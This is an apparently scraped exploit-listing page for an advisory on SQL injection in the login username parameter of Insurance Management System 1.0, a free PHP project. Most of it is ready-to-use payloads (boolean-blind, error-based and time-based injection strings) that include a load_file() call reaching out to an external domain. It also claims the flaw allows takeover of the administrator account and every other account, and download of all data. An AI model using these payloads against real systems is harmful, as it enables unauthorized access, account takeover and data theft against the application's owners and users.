Insurance Management System 1.0 SQL Injection exploit

2 years ago 166
BOOK THIS SPACE FOR AD
ARTICLE AD

Share

## https://sploitus.com/exploit?id=PACKETSTORM:166286 ## Title: Insurance Management System v1.0 SQLi ## Author: nu11secur1ty ## Date: 03.12.2022 ## Vendor: https://itsourcecode.com/free-projects/php-project/php-projects-source-code-free-downloads/ ## Software: https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/ ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system. Status: CRITICAL [+] Payloads: ```mysql --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: username=GvWNfNIz'+(select load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+'' AND 7122=(SELECT (CASE WHEN (7122=7122) THEN 7122 ELSE (SELECT 6385 UNION SELECT 2068) END))-- -&password=y6E!b3n!T9 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=GvWNfNIz'+(select load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+'' AND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT (ELT(3405=3405,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zJzm&password=y6E!b3n!T9 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=GvWNfNIz'+(select load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+'' AND (SELECT 5739 FROM (SELECT(SLEEP(5)))crqV)-- pBFE&password=y6E!b3n!T9 --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System) ## Proof and Exploit: [href](https://streamable.com/iyml42)
Read Entire Article